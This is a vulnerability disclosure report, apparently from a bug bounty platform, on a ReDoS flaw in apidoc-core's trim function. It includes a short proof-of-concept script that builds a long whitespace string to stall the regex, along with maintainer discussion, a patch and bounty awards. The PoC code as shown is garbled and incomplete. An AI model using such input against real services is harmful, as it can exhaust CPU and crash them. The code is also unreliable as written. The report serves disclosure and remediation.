Inefficient Regular Expression Complexity in apidoc/apidoc-core


Reported on

Jul 16th 2021

✍️ Description

A ReDoS (regular expression denial of service) flaw was found in the apidoc-core package. An attacker that is able to provide crafted input to the trim function may cause an application to consume an excessive amount of CPU. Similar attack ref:

🕵️‍♂️ Proof of Concept

Create the following PoC file:

// PoC.js
var trim = require("apidoc-core/lib/utils/trim")

function build_attack (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "

return ret + "1";
var time =;
var time_cost = - time;
console.log("time_cost: " + time_cost)

Execute the following command in another terminal:

npm i apidoc-core
node poc.js

Check the Output:

time_cost: 2546

💥 Impact

This vulnerability is capable of exhausting system resources and leads to crashes.


ready-research submitted a
a year ago
a year ago


With the above patch, the output is time_cost: 6

We have contacted a member of the apidoc/apidoc-core team and are waiting to hear back a year ago
apidoc/apidoc-core maintainer
a year ago

Thank you, but currently this is a minor problem, a hacker must have access to a system to inject such a code.

a year ago


@maintainer I have provided a patch as well. Please take a look whenever you have time. Thank you.

Nicolas CARPi validated this vulnerability a year ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Nicolas CARPi confirmed that a fix has been merged on 976056 a year ago
ready-research has been awarded the fix bounty
to join this conversation